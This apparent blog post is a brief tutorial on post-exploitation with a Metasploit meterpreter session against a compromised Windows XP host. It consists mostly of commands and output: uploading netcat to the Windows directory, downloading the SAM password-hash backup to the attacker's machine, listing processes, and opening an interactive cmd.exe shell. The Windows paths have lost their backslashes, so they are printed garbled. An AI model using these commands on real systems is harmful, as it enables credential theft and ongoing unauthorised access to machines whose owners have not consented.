Inspiration & Genius – One and the Same

Deploying meterpreter as an exploit payload

There are various ways of deploying the meterpreter payload. This short article deals with deploying meterpreter as an exploit payload. This article is not about exploiting the machine! I assume here that you have already done that. Assuming I have gained a meterpreter shell on my exploited machine I want to upload netcat to the ‘windows’ directory, and download the ‘not so hidden’ SAM file backup in the windowsrepair directory.

meterpreter> upload /home/tools/nc.exe c:windows

[*] uploading : /home/tools/nc.exe -> c:windows

[*] uploaded : /home/tools/nc.exe -> c:windowsnc.exe

meterpreter >

meterpreter> download c:windowsrepairsam /tmp

[*] downloading: c:windowsrepairsam -> /tmp

[*] downloaded : c:windowsrepairsam -> /tmp/sam

Let’s take a look at the process list …

meterpreter > ps

Process list

============

PID Name Path

— —- —-
404 smss.exe SystemRootSystem32smss.exe

476 csrss.exe ??C:WINDOWSsystem32csrss.exe

648 winlogon.exe ??C:WINDOWSsystem32winlogon.exe

. . .

There’s more – you might be looking for a particular process. For this example I just wanted to show the command, simple as it is.

Now I want a DOS prompt (cmd.exe) and want to interact with it.

meterpreter > execute -f cmd -c

Process 1055 created.

Channel 2 created.

meterpreter > interact 2

Interacting with channel 2…

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:Program Filesexit

exit

meterpreter >

… and there you have it.

Leave a Reply

You can use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Genesis Framework

Genesis Framework for WordPress

Studiopress Themes

Scribble Theme - A Beautiful Frame For Your WordPress Website

Advertisements